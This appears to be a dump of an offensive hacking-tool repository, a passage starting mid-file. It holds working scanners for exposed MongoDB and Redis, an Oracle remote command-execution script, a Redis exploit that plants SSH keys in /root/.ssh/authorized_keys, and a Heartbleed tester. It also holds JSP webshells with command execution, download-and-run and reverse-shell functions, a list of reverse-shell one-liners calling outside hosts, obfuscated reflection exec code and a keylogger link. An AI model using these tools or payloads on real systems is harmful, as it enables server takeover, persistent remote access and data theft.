open('vul.txt','a+') 8 | for target in fobj: 9 | ip_addr = target.strip() 10 | try: 11 | print target.strip() 12 | conn = pymongo.MongoClient(ip_addr, 27017, socketTimeoutMS=3000) 13 | print "ok" 14 | fileHandle.write(target) 15 | except Exception, e: 16 | print "can't conn" 17 | -------------------------------------------------------------------------------- /service/ora_exec_cmd.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # Execute remote operating system commands from Oracle connection 4 | # 5 | # Author: 6 | # Andrea "bunker" Purificato 7 | # http://www.purificato.org 8 | # 9 | # Updated on Wed Mar 7 10:24:58 CET 2007 10 | # 11 | # Oracle InstantClient (basic + sdk) required for DBD::Oracle 12 | # 13 | # 14 | # $ perl ora_exec_cmd.pl -h 192.168.97.187 -s prova -u sfigato -p password -c 'dir c:\' 15 | # [-] Setting permissions... 16 | # [-] Creating Java class... 17 | # [-] Creating function... 18 | # [-] Creating procedure... 19 | # [-] Exec: (dir c:\) 20 | # Volume in drive C is Stub 21 | # Volume Serial Number is 809D-4AC5 22 | # 23 | # Directory of c:\ 24 | # Process out: 25 | # 2007-01-24 11.27 1 024 .rnd 26 | # 2006-09-29 17.04 0 AUTOEXEC.BAT 27 | # 2006-09-29 17.04 0 CONFIG.SYS 28 | # 2006-11-14 10.05 <DIR> cygwin 29 | # 2006-09-29 17.10 <DIR> Documents and Settings 30 | # 2006-12-05 12.27 126 nessuswx.dbg 31 | # 2007-02-07 17.06 0 netstat.txt 32 | # 2006-10-27 14.47 <DIR> Oracle 33 | # 2007-02-05 16.02 <DIR> Program Files 34 | # 2007-02-07 09.41 <DIR> WINDOWS 35 | # 2006-10-27 09.52 <DIR> Xindice 36 | # 6 File(s) 1 150 bytes 37 | # 6 Dir(s) 7 859 896 320 bytes free 38 | # 39 | use warnings; 40 | use strict; 41 | use DBI; 42 | use Getopt::Std; 43 | use vars qw/ %opt /; 44 | 45 | sub usage { 46 | print <<"USAGE"; 47 | 48 | Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> [-P <port>] [-b] -c '<command>' 49 | Options: 50 | -h <host> target server address 51 | -s <sid> target sid name 52 | -u <user> username 53 | -p <passwd> password 54 | 55 | [-P <port> Oracle port] 56 | [-b bypass creation of evil functions] 57 | -c <command> command 58 | 59 | USAGE 60 | exit 0 61 | } 62 | 63 | my $opt_string = 'h:s:u:p:c:P:b'; 64 | getopts($opt_string, \%opt) or &usage; 65 | &usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} or !$opt{c}); 66 | 67 | my $user = uc $opt{u}; 68 | 69 | my $dbh = undef; 70 | if ($opt{P}) { 71 | $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die; 72 | } else { 73 | $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die; 74 | } 75 | 76 | $dbh->{RaiseError} = 1; 77 | $dbh->func( 1000000, 'dbms_output_enable' ); 78 | 79 | unless($opt{b}) { 80 | print "[-] Setting permissions...\n"; 81 | my $sth = $dbh->prepare(" 82 | BEGIN 83 | dbms_java.grant_Permission('$user', 'java.io.FilePermission', '<<ALL FILES>>', 'read ,write, execute, delete'); 84 | dbms_java.grant_Permission('$user', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', ''); 85 | dbms_java.grant_Permission('$user', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', ''); 86 | END; 87 | "); 88 | $sth->execute; 89 | 90 | print "[-] Creating Java class...\n"; 91 | $sth = $dbh->prepare(' 92 | create or replace and compile java source named "Util" as 93 | import java.io.*; 94 | public class Util { 95 | public static void runthis(String command) { 96 | try { 97 | String[] fCmd; 98 | if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) { 99 | fCmd = new String[3]; 100 | fCmd[0] = "C:\\\\windows\\\\system32\\\\cmd.exe"; // XP/2003 101 | //fCmd[0] = "C:\\\\winnt\\\\system32\\\\cmd.exe"; // NT/2000 102 | fCmd[1] = "/c"; 103 | fCmd[2] = command; 104 | } 105 | else { 106 | fCmd = new String[3]; 107 | fCmd[0] = "/bin/sh"; 108 | fCmd[1] = "-c"; 109 | fCmd[2] = command; 110 | } 111 | final Process pr = Runtime.getRuntime().exec(fCmd); 112 | pr.waitFor(); 113 | new Thread(new Runnable(){ 114 | public void run() { 115 | BufferedReader br_in = null; 116 | try { 117 | br_in = new BufferedReader(new InputStreamReader(pr.getInputStream())); 118 | String buff = null; 119 | while ((buff = br_in.readLine()) != null) { 120 | System.out.println(buff); 121 | try {Thread.sleep(100); } catch(Exception e) {} 122 | } 123 | br_in.close(); 124 | } 125 | catch (IOException ioe) { 126 | System.out.println("Exception caught printing process output."); 127 | ioe.printStackTrace(); 128 | } 129 | finally { try { br_in.close(); } catch (Exception ex) {} } 130 | } 131 | }).start(); 132 | new Thread(new Runnable(){ 133 | public void run() { 134 | BufferedReader br_err = null; 135 | try { 136 | br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream())); 137 | String buff = null; 138 | while ((buff = br_err.readLine()) != null) { 139 | System.out.println("Error: " + buff); 140 | try {Thread.sleep(100); } catch(Exception e) {} 141 | } 142 | br_err.close(); 143 | } 144 | catch (IOException ioe) { 145 | System.out.println("Exception caught printing process error."); 146 | ioe.printStackTrace(); 147 | } 148 | finally { try { br_err.close(); } catch (Exception ex) {} } 149 | } 150 | }).start(); 151 | } 152 | catch (Exception ex) { 153 | System.out.println(ex.getLocalizedMessage()); 154 | } 155 | } 156 | }; 157 | '); 158 | $sth->execute; 159 | 160 | print "[-] Creating function...\n"; 161 | $sth = $dbh->prepare(q{ 162 | create or replace function run_cmd( p_cmd in varchar2) return number as 163 | language java 164 | name 'Util.runthis(java.lang.String) return integer'; 165 | }); 166 | $sth->execute; 167 | 168 | print "[-] Creating procedure...\n"; 169 | $dbh->do(' 170 | create or replace procedure rc(p_cmd in varchar2) as 171 | x number; 172 | begin 173 | x := run_cmd(p_cmd); 174 | end;'); 175 | } 176 | 177 | print "[-] Exec: ($opt{c})\n"; 178 | my $sth = $dbh->prepare(qq{ 179 | begin 180 | DBMS_JAVA.SET_OUTPUT(1000000); 181 | rc('$opt{c}'); 182 | end; 183 | }); 184 | $sth->execute; 185 | 186 | while (my $line = $dbh->func( 'dbms_output_get' )) { 187 | print "$line\n"; 188 | } 189 | 190 | $sth->finish; 191 | $dbh->disconnect; 192 | exit; 193 | -------------------------------------------------------------------------------- /service/redis.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import sys,httplib 5 | import socket,sys 6 | fobj = open('redis.txt','r') 7 | fileHandle = open('vul.txt','a+') 8 | payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a' 9 | s = socket.socket() 10 | socket.setdefaulttimeout(10) 11 | for target in fobj: 12 | ip = target.strip() 13 | try: 14 | port = 6379 15 | s.connect((ip, port)) 16 | s.send(payload) 17 | recvdata = s.recv(1024) 18 | if recvdata and 'redis_version' in recvdata: 19 | fileHandle.write(target) 20 | print 'server is vulerable' 21 | except: 22 | pass 23 | -------------------------------------------------------------------------------- /service/redis_exp.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from os import system 3 | from sys import argv 4 | def send(conn,cmd): 5 | try: 6 | conn.send(cmd+"\n") 7 | recv=conn.recv(5) 8 | #conn.close() 9 | recv=recv.replace("\n",''), 10 | return recv 11 | except: 12 | return False 13 | 14 | def conn_redis(args): 15 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 | args=args.split(":") 17 | host=args[0] 18 | port=int(args[1]) 19 | try: 20 | client.connect((host, port)) 21 | return client 22 | except: 23 | return False 24 | 25 | if len(argv)!=2: 26 | print "Usage: python rexp.py 127.0.0.1:6379" 27 | exit() 28 | host=argv[1] 29 | host.split(":") 30 | port=6379 31 | if len(host)==2: 32 | port=int(host[1]) 33 | conn=conn_redis("%s:%d"%(host,port)) 34 | send(conn,"flushall") 35 | system("cat foo.txt| redis-cli -h %s -p %d -x set pwn"%(host,port)) 36 | cmd='''CONFIG set dir /root/.ssh/ 37 | config set dbfilename authorized_keys 38 | save 39 | exit''' 40 | cmd=cmd.split("\n") 41 | for c in cmd: 42 | send(conn,c) 43 | -------------------------------------------------------------------------------- /service/ssltest.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) 4 | # The author disclaims copyright to this source code. 5 | 6 | import sys 7 | import struct 8 | import socket 9 | import time 10 | import select 11 | import re 12 | from optparse import OptionParser 13 | 14 | options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') 15 | options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') 16 | 17 | def h2bin(x): 18 | return x.replace(' ', '').replace('\n', '').decode('hex') 19 | 20 | hello = h2bin(''' 21 | 16 03 02 00 dc 01 00 00 d8 03 02 53 22 | 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf 23 | bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 24 | 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 25 | 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c 26 | c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 27 | c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 28 | c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c 29 | c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 30 | 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 31 | 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 32 | 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 33 | 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 34 | 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 35 | 00 0f 00 01 01 36 | ''') 37 | 38 | hb = h2bin(''' 39 | 18 03 02 00 03 40 | 01 40 00 41 | ''') 42 | 43 | def hexdump(s): 44 | for b in xrange(0, len(s), 16): 45 | lin = [c for c in s[b : b + 16]] 46 | hxdat = ' '.join('%02X' % ord(c) for c in lin) 47 | pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) 48 | print ' %04x: %-48s %s' % (b, hxdat, pdat) 49 | print 50 | 51 | def recvall(s, length, timeout=5): 52 | endtime = time.time() + timeout 53 | rdata = '' 54 | remain = length 55 | while remain > 0: 56 | rtime = endtime - time.time() 57 | if rtime < 0: 58 | return None 59 | r, w, e = select.select([s], [], [], 5) 60 | if s in r: 61 | data = s.recv(remain) 62 | # EOF? 63 | if not data: 64 | return None 65 | rdata += data 66 | remain -= len(data) 67 | return rdata 68 | 69 | 70 | def recvmsg(s): 71 | hdr = recvall(s, 5) 72 | if hdr is None: 73 | print 'Unexpected EOF receiving record header - server closed connection' 74 | return None, None, None 75 | typ, ver, ln = struct.unpack('>BHH', hdr) 76 | pay = recvall(s, ln, 10) 77 | if pay is None: 78 | print 'Unexpected EOF receiving record payload - server closed connection' 79 | return None, None, None 80 | print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) 81 | return typ, ver, pay 82 | 83 | def hit_hb(s): 84 | s.send(hb) 85 | while True: 86 | typ, ver, pay = recvmsg(s) 87 | if typ is None: 88 | print 'No heartbeat response received, server likely not vulnerable' 89 | return False 90 | 91 | if typ == 24: 92 | print 'Received heartbeat response:' 93 | hexdump(pay) 94 | if len(pay) > 3: 95 | print 'WARNING: server returned more data than it should - server is vulnerable!' 96 | else: 97 | print 'Server processed malformed heartbeat, but did not return any extra data.' 98 | return True 99 | 100 | if typ == 21: 101 | print 'Received alert:' 102 | hexdump(pay) 103 | print 'Server returned error, likely not vulnerable' 104 | return False 105 | 106 | def main(): 107 | opts, args = options.parse_args() 108 | if len(args) < 1: 109 | options.print_help() 110 | return 111 | 112 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 113 | print 'Connecting...' 114 | sys.stdout.flush() 115 | s.connect((args[0], opts.port)) 116 | print 'Sending Client Hello...' 117 | sys.stdout.flush() 118 | s.send(hello) 119 | print 'Waiting for Server Hello...' 120 | sys.stdout.flush() 121 | while True: 122 | typ, ver, pay = recvmsg(s) 123 | if typ == None: 124 | print 'Server closed connection without sending Server Hello.' 125 | return 126 | # Look for server hello done message. 127 | if typ == 22 and ord(pay[0]) == 0x0E: 128 | break 129 | 130 | print 'Sending heartbeat request...' 131 | sys.stdout.flush() 132 | s.send(hb) 133 | hit_hb(s) 134 | 135 | if __name__ == '__main__': 136 | main() 137 | -------------------------------------------------------------------------------- /share.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | setlocal ENABLEDELAYEDEXPANSION 3 | @FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find 4 | "The command completed successfully." /v`) DO ( 5 | @FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO ( 6 | @FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo \\%%k [%%j]) 7 | ) 8 | ) 9 | -------------------------------------------------------------------------------- /webshell/caidao.jspx: -------------------------------------------------------------------------------- 1 | <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" 2 | xmlns="http://www.w3.org/1999/xhtml" 3 | xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2"> 4 | <jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /> 5 | <jsp:directive.page import="java.io.*" /> 6 | <jsp:scriptlet> 7 | RandomAccessFile rf = new RandomAccessFile(request.getRealPath("/")+request.getParameter("f"), "rw"); 8 | rf.write(request.getParameter("t").getBytes()); 9 | rf.close(); 10 | </jsp:scriptlet> 11 | </jsp:root> 12 | -------------------------------------------------------------------------------- /webshell/cat.jsp: -------------------------------------------------------------------------------- 1 | <%@page import="java.util.zip.ZipEntry"%> 2 | <%@page import="java.util.zip.ZipOutputStream"%> 3 | <%@ page language="java" pageEncoding="UTF-8"%> 4 | <%@page import="java.util.*"%> 5 | <%@page import="java.text.SimpleDateFormat"%> 6 | <%@ page import="java.io.*" %> 7 | <%@ page import="java.net.*" %> 8 | <%! 9 | static String encoding = "UTF-8"; 10 | 11 | static{ 12 | encoding = isNotEmpty(getSystemEncoding())?getSystemEncoding():encoding; 13 | } 14 | 15 | /** 16 | * 异常转换成字符串,获取详细异常信息 17 | * @param e 18 | * @return 19 | */ 20 | static String exceptionToString(Exception e) { 21 | StringWriter sw = new StringWriter(); 22 | e.printStackTrace(new PrintWriter(sw, true)); 23 | return sw.toString(); 24 | } 25 | 26 | /** 27 | * 获取系统文件编码 28 | * @return 29 | */ 30 | static String getSystemEncoding(){ 31 | return System.getProperty("sun.jnu.encoding"); 32 | } 33 | 34 | /** 35 | * 非空判断 36 | * 37 | * @param obj 38 | * @return 39 | */ 40 | static boolean isNotEmpty(Object obj) { 41 | if (obj == null) { 42 | return false; 43 | } 44 | return !"".equals(String.valueOf(obj).trim()); 45 | } 46 | 47 | /** 48 | * 输入流转二进制数组输出流 49 | * @param in 50 | * @return 51 | * @throws IOException 52 | */ 53 | static ByteArrayOutputStream inutStreamToOutputStream(InputStream in) throws IOException{ 54 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 55 | byte[] b = new byte[1024]; 56 | int a = 0; 57 | while((a = in.read(b))!=-1){ 58 | baos.write(b,0,a); 59 | } 60 | return baos; 61 | } 62 | 63 | /** 64 | * 复制流到文件,如果文件存在默认会覆盖 65 | * @param in 66 | * @param path 67 | * @throws IOException 68 | */ 69 | static void copyInputStreamToFile(InputStream in,String path) throws IOException{ 70 | FileOutputStream fos = new FileOutputStream(path); 71 | fos.write(inutStreamToOutputStream(in).toByteArray()); 72 | fos.flush(); 73 | fos.close(); 74 | } 75 | 76 | /** 77 | * 模仿Linux下的cat Windows下的type 查看文件内容 78 | * @param path 79 | * @return 80 | * @throws IOException 81 | */ 82 | static String cat(String path) throws IOException { 83 | return new String(inutStreamToOutputStream(new FileInputStream(path)).toByteArray()); 84 | } 85 | 86 | /** 87 | * 执行操作系统命令 如果是windows某些命令执行不了,可以用 cmd /c dir 执行dir命令 88 | * @param cmd 89 | * @return 90 | */ 91 | static String exec(String cmd) { 92 | try { 93 | return new String(inutStreamToOutputStream(Runtime.getRuntime().exec(cmd).getInputStream()).toByteArray(),encoding); 94 | } catch (IOException e) { 95 | return exceptionToString(e); 96 | } 97 | } 98 | 99 | /** 100 | * 下载文件到指定目录,保存的文件名必须指定 101 | * @param url 102 | * @param path 103 | * @throws MalformedURLException 104 | * @throws IOException 105 | */ 106 | static void download(String url,String path) throws MalformedURLException, IOException{ 107 | copyInputStreamToFile(new URL(url).openConnection().getInputStream(), path); 108 | } 109 | 110 | /** 111 | * 连接远程端口,提供本地命令执行入口 112 | * @param host 113 | * @param port 114 | * @throws UnknownHostException 115 | * @throws IOException 116 | */ 117 | static void shell(String host,int port) throws UnknownHostException, IOException{ 118 | Socket s = new Socket(host,port); 119 | OutputStream out = s.getOutputStream(); 120 | InputStream in = s.getInputStream(); 121 | out.write(("User:\t"+exec("whoami")).getBytes()); 122 | int a = 0; 123 | byte[] b = new byte[1024]; 124 | while((a=in.read(b))!=-1){ 125 | out.write(exec(new String(b,0,a,"UTF-8").trim()).getBytes("UTF-8")); 126 | } 127 | } 128 | 129 | /** 130 | * 下载远程文件并执行,命令执行完成后会删除下载的文件 131 | * @param url 132 | * @param fileName 133 | * @param cmd 134 | * @return 135 | * @throws MalformedURLException 136 | * @throws IOException 137 | */ 138 | static String auto(String url,String fileName,String cmd) throws MalformedURLException, IOException{ 139 | download(url, fileName); 140 | String out = exec(cmd); 141 | new File(fileName).delete(); 142 | return out; 143 | } 144 | 145 | static void saveFile(String file,String data) throws IOException{ 146 | copyInputStreamToFile(new ByteArrayInputStream(data.getBytes()), file); 147 | } 148 | 149 | /** 150 | * 文件压缩 151 | * @throws IOException 152 | */ 153 | static void zipFile(ZipOutputStream zos,File file) throws IOException{ 154 | if(file.isDirectory() && file.canRead()){ 155 | File[] files = file.listFiles(); 156 | for(File f:files){ 157 | zipFile(zos, f); 158 | } 159 | }else{ 160 | ZipEntry z = new ZipEntry(file.getName()); 161 | zos.putNextEntry(z); 162 | zos.write(inutStreamToOutputStream(new FileInputStream(file)).toByteArray()); 163 | zos.closeEntry(); 164 | } 165 | } 166 | 167 | static void zip(ByteArrayOutputStream out,File file) throws IOException{ 168 | ZipOutputStream zos = new ZipOutputStream(out); 169 | zipFile(zos,file); 170 | } 171 | 172 | %> 173 | <html> 174 | <head> 175 | <title><%=application.getServerInfo() %></title> 176 | <meta http-equiv="content-type" content="text/html;charset=utf-8"> 177 | <STYLE> 178 | H1 {color: white;background-color: #525D76;font-size: 22px;} 179 | H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} 180 | BODY {font-family: Tahoma, Arial, sans-serif;font-size:12px;color: black;background-color: white;} 181 | A {color: black;} 182 | HR {color: #525D76;} 183 | </STYLE> 184 | <script> 185 | function get(p){ 186 | document.getElementById('p').value = p; 187 | document.getElementById('action').value = "get"; 188 | document.getElementById('fm').submit(); 189 | } 190 | function saveFile(){ 191 | document.getElementById('action').value = "saveFile"; 192 | document.getElementById('fm').submit(); 193 | } 194 | </script> 195 | </head> 196 | <body> 197 | <% 198 | try{ 199 | String action = request.getParameter("action"); 200 | String path = isNotEmpty(request.getParameter("p"))?request.getParameter("p"):new File((isNotEmpty(application.getRealPath("/"))?application.getRealPath("/"):".")).getCanonicalPath(); 201 | out.println("<form action=\"\" method=\"post\" id=\"fm\">"); 202 | if(isNotEmpty(action) && !"get".equalsIgnoreCase(action)){ 203 | if("shell".equalsIgnoreCase(action)){ 204 | shell(request.getParameter("host"), Integer.parseInt(request.getParameter("port"))); 205 | }else if("downloadL".equalsIgnoreCase(action)){ 206 | download(request.getParameter("url"), request.getParameter("path")); 207 | out.println("文件下载成功."); 208 | }else if("exec".equalsIgnoreCase(action)){ 209 | out.println("<h1>命令执行:</h1>"); 210 | out.println("<pre>"+exec(request.getParameter("cmd"))+"</pre>"); 211 | }else if("cat".equalsIgnoreCase(action)){ 212 | out.println("<h1>文件查看:</h1>"); 213 | out.println("<pre>"+cat(request.getParameter("path"))+"</pre>"); 214 | }else if("auto".equalsIgnoreCase(action)){ 215 | out.println("<h1>Auto:</h1>"); 216 | out.println("<pre>"+auto(request.getParameter("url"),request.getParameter("fileName"),request.getParameter("cmd"))+"</pre>"); 217 | }else if("download".equalsIgnoreCase(action)){ 218 | response.setContentType("application/x-download"); 219 | File file = new File(path,request.getParameter("fileName")); 220 | String fileName = file.isDirectory() ? file.getName()+".zip":file.getName(); 221 | response.setHeader("Content-Disposition", "attachment; filename="+fileName); 222 | BufferedOutputStream bos = new BufferedOutputStream(response.getOutputStream()); 223 | if(file.isDirectory()){ 224 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 225 | zip(baos, file); 226 | bos.write(baos.toByteArray()); 227 | baos.close(); 228 | }else{ 229 | InputStream in = new FileInputStream(file); 230 | int len; 231 | byte[] buf = new byte[1024]; 232 | while ((len = in.read(buf)) > 0) { 233 | bos.write(buf, 0, len); 234 | } 235 | in.close(); 236 | } 237 | bos.close(); 238 | out.clear(); 239 | out = pageContext.pushBody(); 240 | return ; 241 | }else if("saveFile".equalsIgnoreCase(action)){ 242 | String file = request.getParameter("file"); 243 | String data = request.getParameter("data"); 244 | if(isNotEmpty(file) && isNotEmpty(data)){ 245 | saveFile(new String(file.getBytes("ISO-8859-1"),"utf-8"),new String(data.getBytes("ISO-8859-1"),"utf-8")); 246 | out.println("<script>history.back(-1);alert('ok');</script>"); 247 | } 248 | } 249 | }else{ 250 | File file = new File(path); 251 | if(file.isDirectory()){ 252 | %> 253 | <h1>Directory Listing For <%=path%></h1> 254 | <HR size="1" noshade="noshade"> 255 | <table width="100%" cellspacing="0" cellpadding="5" align="center"> 256 | <tr> 257 | <td align="left"><font size="+1"><strong>文件名</strong></font></td> 258 | <td align="center"><font size="+1"><strong>文件大小</strong></font></td> 259 | <td align="center"><font size="+1"><strong>文件下载</strong></font></td> 260 | <td align="right"><font size="+1"><strong>最后修改时间</strong></font></td> 261 | </tr> 262 | <% 263 | List<File> ls = new ArrayList<File>(); 264 | ls.add(new File(file,"..")); 265 | ls.addAll(Arrays.asList(file.listFiles())); 266 | for(int i = 0; i < ls.size(); i++){ 267 | File f = ls.get(i); 268 | String fileCanonicalPath = f.getCanonicalPath().replaceAll("\\\\","/"); 269 | out.println("<tr "+((i%2!=0)?"bgcolor=\"#eeeeee\"":"")+"><td align=\"left\">&nbsp;&nbsp;<a href=\"javascript:get('"+(f.getCanonicalPath().replaceAll("\\\\","/"))+"');\"><tt>"+f.getName()+"</tt></a></td><td align=\"center\"><tt>"+(f.length()/1000)+"KB</tt></td><td align=\"center\"><a href=\""+request.getContextPath()+request.getServletPath()+"?action=download&p="+path+"&fileName="+f.getName()+"\"><tt>下载</tt></a></td><td align=\"right\"><tt>"+new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date(f.lastModified())) +"</tt></td></tr>"); 270 | } 271 | }else{ 272 | out.println("<h1>文件编辑:</h1>"); 273 | out.println("File:<input type=\"text\" style=\"width:600px;\" name=\"file\" value=\""+path+"\" /><input type=\"button\" style=\"margin-left:20px;\" value=\"保存\" onclick=\"saveFile()\" /><span id=\"result\"></span><br/><br/>"); 274 | out.println("<textarea style=\"width:100%;height:500px;\" name=\"data\">"+cat(path)+"</textarea>"); 275 | } 276 | } 277 | out.println("<input type=\"hidden\" name=\"p\" id=\"p\" value=\""+path+"\"/><input type=\"hidden\" name=\"action\" id=\"action\" value=\"get\" /></form></table>"); 278 | out.println("<HR size=\"1\" noshade=\"noshade\"><h3>"+application.getServerInfo()+"</h3></body></html>"); 279 | }catch(Exception e){ 280 | out.println("<pre>"+exceptionToString(e)+"</pre>"); 281 | } 282 | %> 283 | -------------------------------------------------------------------------------- /webshell/cmd.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.util.*,java.io.*"%> 2 | <% 3 | %> 4 | <HTML><BODY> 5 | Commands with JSP 6 | <FORM METHOD="GET" NAME="myform" ACTION=""> 7 | <INPUT TYPE="text" NAME="cmd"> 8 | <INPUT TYPE="submit" VALUE="Send"> 9 | </FORM> 10 | <pre> 11 | <% 12 | if (request.getParameter("cmd") != null) { 13 | out.println("Command: " + request.getParameter("cmd") + "<BR>"); 14 | Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); 15 | OutputStream os = p.getOutputStream(); 16 | InputStream in = p.getInputStream(); 17 | DataInputStream dis = new DataInputStream(in); 18 | String disr = dis.readLine(); 19 | while ( disr != null ) { 20 | out.println(disr); 21 | disr = dis.readLine(); 22 | } 23 | } 24 | %> 25 | </pre> 26 | </BODY></HTML> 27 | -------------------------------------------------------------------------------- /webshell/command: -------------------------------------------------------------------------------- 1 | nc -e /bin/sh 120.24.234.44 123 2 | /bin/sh -i > /dev/tcp/120.24.234.44/123 0<&1 2>&1 3 | wget http://0ke.org/back.py -O /tmp/x.py && python /tmp/x.py 120.24.234.44 123 4 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 5 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 6 | php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' 7 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 8 | -------------------------------------------------------------------------------- /webshell/javareflect.jsp: -------------------------------------------------------------------------------- 1 | import java.io.InputStream; 2 | import java.lang.reflect.Method; 3 | import java.util.Scanner; 4 | 5 | public class ReflectTest { 6 | 7 | public static String reflect(String str) throws Exception { 8 | String runtime = new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }); 9 | Class<?> c = Class.forName(runtime); 10 | Method m1 = c.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })); 11 | Method m2 = c.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class); 12 | Object obj2 = m2.invoke(m1.invoke(null, new Object[] {}), new Object[] { str }); 13 | Method m = obj2.getClass().getMethod(new String(new byte[] { 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109 })); 14 | m.setAccessible(true); 15 | Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[] {})).useDelimiter("\\A"); 16 | return s.hasNext() ? s.next() : ""; 17 | } 18 | 19 | public static void main(String[] args) throws Exception { 20 | String str = reflect("ping -c 3 baidu.com"); 21 | System.out.println(str); 22 | } 23 | 24 | } 25 | -------------------------------------------------------------------------------- /webshell/keylog.txt: -------------------------------------------------------------------------------- 1 | https://breaking-security.net/keylogger/keylogger-download/ 2 | -------------------------------------------------------------------------------- /webshell/shell.jsp: -------------------------------------------------------------------------------- 1 | import java.io.*; 2 | import java.net.*; 3 | import java.io.InputStream; 4 | import java.io.OutputStream; 5 | import java.io.DataInputStream; 6 | import net.sf.jasperreports.engine.JRDefaultScriptlet; 7 | import net.sf.jasperreports.engine.JRScriptletException; 8 | 9 | public class ShellScriptlet extends JRDefaultScriptlet implements Runnable{ 10 | Socket socket; 11 | 12 | PrintWriter socketWrite; 13 | BufferedReader socketRead; 14 | 15 | PrintWriter commandWrite; 16 | BufferedReader commandRead; 17 | 18 | static String ip; 19 | int port = 8080; 20 | 21 | public String getShell(){ 22 | ip = "1.1.1.1"; 23 | ShellScriptlet shell = new ShellScriptlet(); 24 | shell.establishConnection(); 25 | new Thread(shell).start(); 26 | shell.getCommand(); 27 | return "DONE"; 28 | } 29 | 30 | public void run(){ 31 | spawnShell(); 32 | } 33 | 34 | public void spawnShell(){ 35 | boolean windows = false; 36 | try{ 37 | if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){ 38 | windows = true; 39 | } 40 | 41 | Runtime rt = Runtime.getRuntime(); 42 | Process p; 43 | if(windows) p = rt.exec("C:\\Windows\\System32\\cmd.exe"); 44 | else p = rt.exec("/bin/sh"); 45 | 46 | InputStream readme = p.getInputStream(); 47 | OutputStream writeme = p.getOutputStream(); 48 | commandWrite = new PrintWriter(writeme); 49 | commandRead = new BufferedReader(new InputStreamReader(readme)); 50 | 51 | if(windows) commandWrite.println("dir"); 52 | else commandWrite.println("ls -al"); 53 | 54 | commandWrite.flush(); 55 | 56 | String line; 57 | while((line = commandRead.readLine()) != null){ 58 | socketWrite.println(line); 59 | socketWrite.flush(); 60 | } 61 | 62 | p.destroy(); 63 | 64 | }catch(Exception e){} 65 | 66 | } 67 | 68 | public void establishConnection(){ 69 | try{ 70 | socket = new Socket(ip,port); 71 | socketWrite = new PrintWriter(socket.getOutputStream(),true); 72 | socketRead = new BufferedReader(new InputStreamReader(socket.getInputStream())); 73 | socketWrite.println("---Connection has been established---"); 74 | socketWrite.flush(); 